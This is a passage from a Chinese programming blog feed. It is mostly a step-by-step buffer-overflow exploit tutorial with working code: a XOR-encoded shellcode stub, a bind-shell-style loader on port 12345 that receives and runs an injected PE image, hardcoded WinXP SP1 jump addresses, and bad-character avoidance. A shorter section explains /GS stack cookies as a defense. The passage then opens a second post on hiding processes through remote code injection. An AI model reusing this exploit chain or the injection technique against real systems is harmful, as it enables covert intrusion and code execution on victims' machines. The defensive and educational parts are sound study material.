<pre>         xor ecx, ecx <br>&nbsp;&nbsp;&nbsp;&nbsp;     mov cx, wXorSize; wXorSize是要进行异或处理的数据的大小 <br>&nbsp;&nbsp;&nbsp;&nbsp;     lea esi, [esp+ byXorOffset]; byXorOffset是需要进行异或处理的代码的起始位置 <br>&nbsp;&nbsp;&nbsp;&nbsp;     push esi <br>xormask: mov al, [esi] <br>&nbsp;&nbsp;&nbsp;&nbsp;     xor al, byXorMask; 使用byXorMask进行异或 <br>&nbsp;&nbsp;&nbsp;&nbsp;     mov [esi], al <br>&nbsp;&nbsp;&nbsp;&nbsp;     inc esi <br>&nbsp;&nbsp;&nbsp;&nbsp;     loop xormask <br>&nbsp;&nbsp;&nbsp;&nbsp;     lea eax, [esp + byEntryOffset]; byEntryOffset 是StubCode的入口地址 <br>&nbsp;&nbsp;&nbsp;&nbsp;     call eax </pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;其中的几个变量实际上要用常数替代，wXorSize是要进行异或处理的数据的大小，也就是stubparam和stubcode的大小的和；byXorOffset是这些数据的起始位置相对于esp寄存器的偏移，从结构图中可以看出它等于&#8220;sizeof(STUBSTUBCODE)&#8221;，同时，它加上esp后就是STUBPARAM的地址，我们要把这个地址传给stubcode，所以立即把它压进了栈中，具体请见下面的相关内容；byXorMask是异或掩码，也就是前面提到的数字n；byEntryOffset是stubcode的入口相对于esp寄存器的偏移，它等于&#8220;sizeof(STUBSTUBCODE)+ sizeof(STUBPARAM)+4&#8221;，多加一个4是因为前面又向栈里压了一个数。这段代码的前两句没用更直接的&#8220;mov ecx, wXorSize&#8221;则是为了避免出现0字符。 <br>&nbsp;&nbsp;&nbsp;&nbsp;把代码和结构体对比一下，看明白了吧!结构体中的几个数组对应的是汇编代码中固定不变的部分，变量则是需要经常修改的部分。这种定义让我们有机会动态修改stubstubcode，减少手工的代码维护工作。 <br>&nbsp;&nbsp;&nbsp;&nbsp;STUBPARAM定义的是要传递给stubcode的参数，它比较简单，相信你看完后面对stubcode的介绍，就能明白各成员的含义和作用了。其中所有以&#8220;Fx&#8221;为前缀的数据类型都是其相应函数的指针类型，后文还会遇到。 <br>&nbsp;&nbsp;&nbsp;&nbsp;在STUB中，我给了第一个填充数组18字节的空间，多出来的两字节用来存储UNC字符串中打头的&#8220;\\&#8221;，本例中这并不是必须的。而arrStubCode虽然看上去只有一字节长，却是一个变长数组，保存的是结构图中的stubcode和填充数据3。 <br>&nbsp;&nbsp;&nbsp;&nbsp;下面我们就进入stub的最后一部分，也是最重要的一部分：stubcode，代码如下。 <br></p>
<pre>void WINAPI StubCode(STUBPARAM* psp) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;HINSTANCE hWs2_32=psp-&gt;fnLoadLibrary(psp-&gt;szWs2_32); <br>&nbsp;&nbsp;&nbsp;&nbsp;FxGetProcAddr fnGetProcAddr = psp-&gt;fnGetProcAddr; <br>&nbsp;&nbsp;&nbsp;&nbsp;Fxsocket fnsocket = (Fxsocket)fnGetProcAddr(hWs2_32,psp-&gt;szSocket); <br>&nbsp;&nbsp;&nbsp;&nbsp;Fxbind fnbind = (Fxbind)fnGetProcAddr(hWs2_32,psp-&gt;szBind); <br>&nbsp;&nbsp;&nbsp;&nbsp;Fxlisten fnlisten = (Fxlisten)fnGetProcAddr(hWs2_32,psp-&gt;szListen); <br>&nbsp;&nbsp;&nbsp;&nbsp;Fxaccept fnaccept = (Fxaccept)fnGetProcAddr(hWs2_32,psp-&gt;szAccept); <br>&nbsp;&nbsp;&nbsp;&nbsp;Fxsend fnsend = (Fxsend)fnGetProcAddr(hWs2_32,psp-&gt;szSend); <br>&nbsp;&nbsp;&nbsp;&nbsp;Fxrecv fnrecv = (Fxrecv)fnGetProcAddr(hWs2_32,psp-&gt;szRecv); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE* buf= (BYTE*)psp-&gt;fnVirtualAlloc(NULL,psp-&gt;dwImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); <br>&nbsp;&nbsp;&nbsp;&nbsp;SOCKET sckListen = fnsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); <br>&nbsp;&nbsp;&nbsp;&nbsp;struct sockaddr_in saServer; <br>&nbsp;&nbsp;&nbsp;&nbsp;saServer.sin_family = AF_INET; <br>&nbsp;&nbsp;&nbsp;&nbsp;saServer.sin_port = 0x3930; //htons(12345) <br>&nbsp;&nbsp;&nbsp;&nbsp;saServer.sin_addr.s_addr = ADDR_ANY; <br>&nbsp;&nbsp;&nbsp;&nbsp;fnbind(sckListen, (sockaddr *)&amp;saServer, sizeof(saServer)); <br>&nbsp;&nbsp;&nbsp;&nbsp;fnlisten(sckListen, 2); <br>&nbsp;&nbsp;&nbsp;&nbsp;SOCKET sckClient = fnaccept(sckListen, NULL, 0); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;fnsend(sckClient, (const char*)(&amp;buf), 4, 0); <br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwBytesRecv = 0; <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE* pos = buf; <br>&nbsp;&nbsp;&nbsp;&nbsp;while(dwBytesRecv &lt;psp-&gt;dwImageSize) <br>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwBytesRecv += fnrecv(sckClient, (char*)pos, 1024, 0); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pos = buf + dwBytesRecv; <br>&nbsp;&nbsp;&nbsp;&nbsp;} <br><br>&nbsp;&nbsp;&nbsp;&nbsp;FxAttackerEntry fnAttackerEntry = (FxAttackerEntry)(buf +psp-&gt;rvaAttackerEntry); <br>&nbsp;&nbsp;&nbsp;&nbsp;fnAttackerEntry(buf, psp-&gt;fnLoadLibrary,psp-&gt;fnGetProcAddr); <br>} <br><br>void StubCodeEnd(){} //this function marks the end of stubcode </pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;stubcode先用LoadLibrary得到ws2_32.dll的句柄，然后通过GetProcAddress获得几个API函数的入口地址。接着它用VirtualAlloc分配了dwImageSize大小的内存，这块内存有什么用呢？原来，同《进程隐藏》一样，我们要向victim进程中注入另一个PE文件——其实就是attacker自己——的映像，所以，这块内存就是保存映像的空间，而dwImageSize也就是这个映像的大小。之后它开始在12345端口上侦听，直到接到attacker连接请求。 <br>&nbsp;&nbsp;&nbsp;&nbsp;与attacker建立连接后，StubCode会立即将刚才分配的内存的起始地址发过去，attacker要根据这个地址对自身的一个拷贝进行重定位，然后将它发回StubCode。StubCode则把这个拷贝接收到刚才分配的内存中去。Attacker还有另外一个函数&#8220;AttackerEntry&#8221;，rvaAttackerEntry就是这个函数与attacker的装入地址的距离。通过这个距离，StubCode就可以在attacker的拷贝中找到AttackerEntry的入口，从而把控制权转交给它。至此，StubCode就完成了自己的使命。 <br>&nbsp;&nbsp;&nbsp;&nbsp;代码中使用LoadLibrary和GetProcAddress方式你不陌生吧？如果真的看不明白，请读一下《进程隐藏》。VirtualAlloc也位于kernel32.dll，所以我就照方抓药了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;上面的代码里还有一个空函数&#8220;StubCodeEnd&#8221;，虽然表面上什么也没做，但它却有一个非常重要的任务：我要用它来计算StubCode这个函数占了多少内存，并据此计算出整个stub的大小。用下面的方法就行了： <br>int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode)); <br>我没有从官方资料上找到可以这么做的依据，但在我的环境中，它确实工作的很好！ <br>&nbsp;&nbsp;&nbsp;&nbsp;有了stub，我们还需要一些代码对其进行填充并注入到victim中去。注入过程只是简单的网络通讯，就不讲了，单看数据填充。 <br></p>
<pre>BOOL PrepareStub(STUB* pStub) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;//copy const data <br>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(pStub, &amp;g_stub, sizeof(STUB)); <br>&nbsp;&nbsp;&nbsp;&nbsp;//prepare stub code param <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;dwJmpEsp= 0x77D437DB; //这几个地址适用于 <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;sp.fnLoadLibrary= 0x77E5D961; //victim程序运行在 <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;sp.fnGetProcAddr= 0x77E5B332; //winxp pro + sp1 系统上 <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;sp.fnVirtualAlloc= 0x77E5AC72; //的情况 <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;sp.dwImageSize= GetImageSize((LPCBYTE)g_hInst); <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;sp.rvaAttackerEntry = ((DWORD)AttackerEntry) - ((DWORD)g_hInst); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;//copy stub code <br>&nbsp;&nbsp;&nbsp; int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode)); <br>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(pStub-&gt;arrStubCode, StubCode, nStubCodeSize); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;//find xor mask <br>&nbsp;&nbsp;&nbsp;&nbsp;int nXorSize = (int)(sizeof(STUBPARAM) + nStubCodeSize); <br>&nbsp;&nbsp;&nbsp;&nbsp;LPBYTE pTmp = (LPBYTE)(&amp;(pStub-&gt;sp)); <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE byXorMask = GetXorMask(pTmp, nXorSize, (LPCBYTE)g_arrDisallow,&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0])); <br>&nbsp;&nbsp;&nbsp;&nbsp;if(byXorMask == g_arrDisallow[0]) <br>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; return FALSE; <br>&nbsp;&nbsp;&nbsp;&nbsp;//xor it <br>&nbsp;&nbsp;&nbsp;&nbsp;for(int i=0; i&lt;nXorSize; i++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(pTmp+i) ^= byXorMask; <br><br>&nbsp;&nbsp;&nbsp;&nbsp;//fill stubstubcode <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;ssc.wXorSize= (WORD)nXorSize; <br>&nbsp;&nbsp;&nbsp;&nbsp;pStub-&gt;ssc.byXorMask= byXorMask; <br><br>&nbsp;&nbsp;&nbsp;&nbsp;//Does the stubstubcode contains a disallowed char? <br>&nbsp;&nbsp;&nbsp;&nbsp;pTmp = (LPBYTE)(&amp;(pStub-&gt;ssc)); <br>&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i&lt;sizeof(STUBSTUBCODE); pTmp++, i++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;for(int j=0; j&lt;sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]); j++)&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(*pTmp == g_arrDisallow[j]) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; return FALSE; <br>&nbsp;&nbsp;&nbsp;&nbsp;//make it an "valid" file name the victim wants <br>&nbsp;&nbsp;&nbsp;&nbsp;strcpy((char*)(&amp;(pStub-&gt;arrStubCode[nStubCodeSize])), g_szStubTail); <br>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE; <br>}</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;其中，pStub指向一块事先分配的内存区，其大小是计算好的，绝对不会超支（我们是干这行的，肯定得先把自身的问题解决好:)）；g_stub是一个STUB类型的全局变量，保存了stub中固定不变的数据；g_hInst是attacker的进程的句柄，以它为参数调用GetImageSize就能得到attacker的内存映像的大小；g_arrDisallow是一个字符数组，里面是所有不允许出现的字符。 <br>&nbsp;&nbsp;&nbsp;&nbsp;GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码，代码如下： <br></p>
<pre>BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrUsage[256], by = 0; <br>&nbsp;&nbsp;&nbsp;&nbsp;memset(arrUsage, 0, sizeof(arrUsage)); <br>&nbsp;&nbsp;&nbsp;&nbsp;for(int i=0; i&lt;nSize; i++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrUsage[*(pData + i)] = 1; <br>&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i&lt;256; i++) <br>&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;by = (BYTE)i; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//xor mask can not be a disallowed char <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int j=0; j&lt;nCount; j++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(arrDisallow[j] == by) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(j &lt; nCount) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//after xor, the data should not contain a disallowed char <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(j=0; j&lt;nCount; j++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(arrUsage[arrDisallow[j] ^ by] == 1) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(j &gt;= nCount) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return by; <br>&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;//we don't find it, return the first disallowed char for an error <br>&nbsp;&nbsp;&nbsp;&nbsp;return arrDisallow[0]; <br>}</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;异或处理完毕后，PrepareStub要根据动态计算出来的数据，修改stubstubcode。由于数据是动态算出来的，所以需要对最终的stubstubcode做一个检查，看里面有没有不允许的字符。最后，它用g_szStubTail把stub填充为一个完整地UNC字符串，整个stub的准备工作宣告完成。 <br>&nbsp;&nbsp;&nbsp;&nbsp;前面已经说过，stubcode的任务是在victim中建立一个attacker的映像，然后把控制权交给它里边的AttackerEntry函数。因而attacker的第二步工作是把自身的一个拷贝重定位后，发给stubcode。下面的代码就来完成这些任务： <br></p>
<pre>    &#8230;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwNewBase, dwSize; <br>&nbsp;&nbsp;&nbsp;&nbsp;LPBYTE pImage; <br>&nbsp;&nbsp;&nbsp;&nbsp;recv(sck, (char*)(&amp;dwNewBase), sizeof(DWORD), 0); <br>&nbsp;&nbsp;&nbsp;&nbsp;dwSize = GetImageSize((LPCBYTE)g_hInst); <br>&nbsp;&nbsp;&nbsp;&nbsp;pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); <br>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(pImage, (const void*)g_hInst, dwSize); <br>&nbsp;&nbsp;&nbsp;&nbsp;RelocImage(pImage, (DWORD)g_hInst, dwNewBase); <br>&nbsp;&nbsp;&nbsp;&nbsp;DoInject(sck, pImage, dwSize); <br>&nbsp;&nbsp;&nbsp;&nbsp;&#8230;</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;attacker先从stubcode中获得它分配的内存的起始地址，这个地址就是attacker在victim中的映像基址。然后attacker把自身复制一份，并按照新的映像基址对这个拷贝进行重定位，RelocImage的代码与《进程隐藏》中的基本相同，这里不再重复。但要注意：默认情况下，链接器不会为EXE文件生成重定位表。所以链接attacker时，要加上参数&#8220;/FIXED:No&#8221;，强制链接器生成重定位表。DoInject完成数据发送，也是简单的网络通讯，所以略过不讲。 <br>&nbsp;&nbsp;&nbsp;&nbsp;在victim中，控制权最终会传递到下面这个函数的手中。 <br></p>
<pre>void WINAPI AttackerEntry(LPBYTE pImage, FxLoadLibrary fnLoadLibrary, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FxGetProcAddr fnGetProcAddr) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;g_hInst = (HINSTANCE)pImage; <br>&nbsp;&nbsp;&nbsp;&nbsp;if(LoadImportFx(pImage, fnLoadLibrary, fnGetProcAddr)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AttackerMain(g_hInst); <br>&nbsp;&nbsp;&nbsp;&nbsp;ExitProcess(0); <br>}</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;它同《进程隐藏》里的ThreadEntry很像，最大的不同是最后调用ExitProcess结束了victim的生命。这很好理解，victim的栈经过一系列的攻击之后，已经面目全非了，如果让AttackerEntry正常返回，victim肯定会弹出一个提示出现非法操作的对话框。我们在做&#8220;坏事&#8221;，不希望被发现，所以让victim悄无声息的退出无疑是最佳选择。 <br>&nbsp;&nbsp;&nbsp;&nbsp;LoadImportFx和《进程隐藏》中的完全一致，也不再重复。至于AttackerMain，我的是下面的样子。你的——自己去发挥吧，但请切记你要为你所作的一切负责！</p>
<pre>DWORD WINAPI AttackerMain(HINSTANCE hInst) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;TCHAR szName[64], szMsg[128]; <br>&nbsp;&nbsp;&nbsp;&nbsp;GetModuleFileName(NULL, szName, sizeof(szName)/sizeof(TCHAR)); <br>&nbsp;&nbsp;&nbsp;&nbsp;_stprintf(szMsg, _T("进程\"%s\"存在缓冲区溢出漏洞,赶紧打补丁吧!"), szName); <br>&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL, szMsg, _T("哈哈"), MB_OK|MB_ICONINFORMATION); <br>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <br>}</pre>
<h3>防御措施</h3>
<p>&nbsp;&nbsp;&nbsp;&nbsp;有攻就有防，缓冲区溢出危害虽大，防起来却不难。最简单有效的方法莫过于写代码时小心一点了。比如在victim中，如果我们多传递给GetComputerName一个参数来标志缓冲区的长度，并在GetComputerName进行检查，那么悲剧就能避免了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;如果你比较懒，不想做这些琐事，编译器也能帮你。从vs.net开始，编译器支持了一个新的选项：/GS。打开它后，编译器就会检查每一个函数是否有发生溢出的可能。如果有，它就向这个函数中插入检测代码，比如前面的ShowComputerName经过处理后就会变成类似下面的样子。其中__security_cookie是编译器插入程序的一个全局变量，进程启动时，会根据大量信息使用哈希算法对它进行初始化，所以它的值具有很好的随机性（具体的初始化过程请见&#8220;seccinit.c&#8221;）。 </p>
<pre>void ShowComputerName(SOCKET sck) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD_PTR cookie = __security_cookie;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//编译器插入的代码 <br>&nbsp;&nbsp;&nbsp;&nbsp;char szComputer[16]; <br>&nbsp;&nbsp;&nbsp;&nbsp;RecvComputerName(sck, szComputer); <br>&nbsp;&nbsp;&nbsp;&nbsp;printf(szComputer); <br>&nbsp;&nbsp;&nbsp;&nbsp;__security_check_cookie(cookie);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//编译器插入的代码 <br>}</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;如代码所示，进入ShowComputerName后，程序所作的第一件事就是把__security_cookie 的值复制一份到局部变量cookie中。注意：cookie是ShowComputerName的第一个局部变量，所以它在栈中的位置是在返回地址和其它局部变量之间，如果拷贝字符串到szComputer中时发生了缓冲区溢出，cookie肯定先于返回地址被覆盖，而它的新值几乎没有可能继续与__security_cookie相同，因而函数最后的__security_check_cookie就可以使用下面的代码检测溢出了（这段代码其实不是给x86 cpu用的，但它更易理解，且逻辑上没有区别，具体请见&#8220;secchk.c&#8221;）。 <br></p>
<pre>void __fastcall __security_check_cookie(DWORD_PTR cookie) <br>{ <br>&nbsp;&nbsp;&nbsp; /* Immediately return if the local cookie is OK. */ <br>&nbsp;&nbsp;&nbsp; if (cookie == __security_cookie) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return; <br>&nbsp;&nbsp;&nbsp; /* Report the failure */ <br>&nbsp;&nbsp;&nbsp; report_failure(); <br>}</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;整个实现非常之简洁高效，不信就请试一下看看效果。但这种机制也有不足，一是检测到溢出后就会使程序终止运行；二是不能检测所有的溢出，还有漏网之鱼。具体就请参考相关资料和做实验吧。</p>
<h3>谁之过</h3>
<p>&nbsp;&nbsp;&nbsp;&nbsp;据说已发现的安全漏洞中有50%以上根缓冲区溢出有关，我们姑且不管这一数字是否准确，但它确实说明缓冲区溢出给计算机世界造成的危害的严重性。而人们也普遍认为是因为程序员的&#8220;不小心&#8221;才会有这么多的漏洞。但责任真的都应该程序员来负吗？我觉得不然。首先，x86 cpu的设计就有一些问题：函数的返回地址和普通数据放在同一个栈中，给了攻击者覆盖返回地址的机会；而栈从高地址向低地址的增长方向又大幅提高了这一几率。其次，c标准库设计时对内存占用和执行效率的斤斤计较又造就了许多类似strcpy的危险函数。当然，我并不想指责它们的设计者，我也没有资格，我只是想更深入的和大家讨论一下缓冲区溢出问题。如果您有其他看法，欢迎和我交流。</p>
<img src="http://blog.vckbase.com/localvar/aggbug/10035.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132752.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2005-07-25 21:21 <a href="http://www.cppblog.com/localvar/archive/2005/07/25/132752.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NT环境下进程隐藏的实现</title><link>http://www.cppblog.com/localvar/archive/2005/07/21/132928.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Thu, 21 Jul 2005 01:50:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2005/07/21/132928.html</guid><description><![CDATA[<a href="http://cid-cdf8c6a11ba3c6c6.office.live.com/self.aspx/.Public/blog/Inject.zip">源码下载</a>&nbsp;(<font color=#ff3333>很多人找我要源码, 就直接放这吧, 但只是雕虫小技, 大家自己玩玩就行了, 不要用于其他用途</font>)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在NT环境下隐藏进程，也就是说在用户不知情的条件下，执行自己的代码的方法有很多种，比如说使用注册表插入DLL，使用windows挂钩等等。其中比较有代表性的是Jeffrey Richer在《windows核心编程》中介绍的LoadLibrary方法和罗云彬在《windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是：都采用远程线程，让自己的代码作为宿主进程的线程在宿主进程的地址空间中执行，从而达到隐藏的目的。相比较而言，Richer的方法由于可以使用c/c++等高级语言完成，理解和实现都比较容易，但他让宿主进程使用LoadLibrary来装入新的DLL，所以难免留下蛛丝马迹，隐藏效果并不十分完美。罗云彬的方法在隐藏效果上绝对一流，不过，由于他使用的是汇编语言，实现起来比较难（起码我写不了汇编程序:)）。笔者下面介绍的方法可以说是对上述两种方法的综合：采用c/c++编码，实现完全隐藏。并且，笔者的方法极大的简化了远程线程代码的编写，使其编写难度与普通程序基本一致。
<h3>基础知识</h3>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 让自己的代码作为宿主进程的线程，在宿主进程的地址空间中执行确实是个不错的主意。但是要自己把程序放到其他进程的地址空间中去运行，将面临一个严峻的问题：如何实现代码重定位。关于重定位问题，请看下面的程序：</p>
<pre>&#8230; <br>int func()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//函数func的定义 <br>&#8230; <br>int a = func();&nbsp;&nbsp;&nbsp;//对func的调用 <br>&#8230;&nbsp;&nbsp;</pre>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;这段程序经过编译链接后，可能会变成下面的样子： </font></p>
<pre>&#8230; <br>0x00401800: push ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//这是函数func的入口 <br>0x00401801: mov ebp, esp <br>&#8230; <br>0x00402000: call 00401800&nbsp;&nbsp;&nbsp;&nbsp;//对函数func的调用 <br>0x00402005: mov dword ptr [ebp-08], eax <br>&#8230; </pre>
<font face=宋体>
<p>&nbsp;&nbsp;&nbsp;&nbsp;请注意0x00402000处的直接寻址指令call 00401800。上面的程序在正常执行（由windows装入并执行）时，因为PE文件的文件头中含有足够的信息，所以系统能够将代码装入到合适的位置从而保证地址00401800处就是函数func的入口。但是当我们自己把程序装入到其他进程的地址空间中时，我们无法保证这一点，最终的结果可能会象下面这样：</p>
</font>
<pre>&#8230; <br>0x00801800: push ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//这是函数func的入口 <br>0x00801801: mov ebp, esp <br>&#8230; <br>0x00802000: call 00401800&nbsp;&nbsp;&nbsp;&nbsp;//00401800处是什么? <br>0x00802005: mov dword ptr [ebp-08], eax <br>&#8230; </pre>
<font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;显然，运行上面的代码将产生不可预料的结果（最大的可能就是执行我们费尽千辛万苦才装入的代码的线程连同宿主进程一起被系统杀死）。 &nbsp;&nbsp;&nbsp;&nbsp;不知大家注意过系统中动态链接库（dll）的装入没有：一个dll被装入不同进程时，装入的地址可能不同，所以系统在这种情况下也必须解决dll中直接寻址指令的重定位问题。原来，绝大多数dll中都包含一些由编译器插入的用于重定位的数据，这些数据就构成了重定位表。系统根据重定位表中的数据，修改dll的代码，完成重定位操作。Richer使用的LoadLibrary也是借用了这一点。所以我们的重定位方法就是：替系统来完成工作，自己根据重定位表中的数据进行重定位。既然如此，那就让我们来了解一下重定位表吧。 &nbsp;&nbsp;&nbsp;&nbsp;先来分析一下重定位表中需要保存哪些信息。还以上面的代码为例，要让它能正确执行，就必须把指令call 00401800改为call 00801800。进行这一改动需要两个数据，第一是改哪，也就是哪个内存地址中的数据需要修改，这里是0x00802001（不是0x00802000）；第二是怎么改，也就是应该给该位置的数据加上多少，这里是0x00400000。这第二个数据可以从dll的实际装入地址和建议装入地址计算而来，只要让前者减后者就行了。其中实际装入地址装入的时候就会知道，而建议装入地址记录在文件头的ImageBase字段中。所以，综上所述，重定位表中需要保存的信息是：有待修正的数据的地址。
<table id=Table4 border=1 cellSpacing=1 cellPadding=1 width="100%">
    <tbody>
        <tr bgColor=wheat>
            <td>位置</td>
            <td>数据</td>
            <td>描述</td>
        </tr>
        <tr bgColor=papayawhip>
            <td>0000h</td>
            <td>00001000h</td>
            <td>页起始地址（RVA）</td>
        </tr>
        <tr bgColor=papayawhip>
            <td>0004h </td>
            <td>00000010h</td>
            <td>重定位块长度</td>
        </tr>
        <tr bgColor=papayawhip>
            <td>0008h&nbsp; </td>
            <td>3006h</td>
            <td>第一个重定位项，32位都须修正</td>
        </tr>
        <tr bgColor=papayawhip>
            <td>000ah </td>
            <td>300dh </td>
            <td>第二个重定位项，32位都须修正</td>
        </tr>
        <tr bgColor=papayawhip>
            <td>000ch </td>
            <td>3015h&nbsp;</td>
            <td>第三个重定位项，32位都须修正</td>
        </tr>
        <tr bgColor=papayawhip>
            <td>000eh </td>
            <td>0000h</td>
            <td>第四个重定位项，用于对齐</td>
        </tr>
        <tr bgColor=mistyrose>
            <td>0010h</td>
            <td>00003000h</td>
            <td>页起始地址（RVA）</td>
        </tr>
        <tr bgColor=mistyrose>
            <td>0014h</td>
            <td>0000000ch</td>
            <td>重定位块长度</td>
        </tr>
        <tr bgColor=mistyrose>
            <td>0018h </td>
            <td>3008h </td>
            <td>第一个重定位项，32位都须修正</td>
        </tr>
        <tr bgColor=mistyrose>
            <td>001ah </td>
            <td>302ah </td>
            <td>第二个重定位项，32位都须修正</td>
        </tr>
        <tr bgColor=lavender>
            <td>&#8230;</td>
            <td>&#8230;</td>
            <td>其他重定位块</td>
        </tr>
        <tr bgColor=lightcyan>
            <td>0100h </td>
            <td>0000h </td>
            <td>重定位表结束标志</td>
        </tr>
    </tbody>
</table>
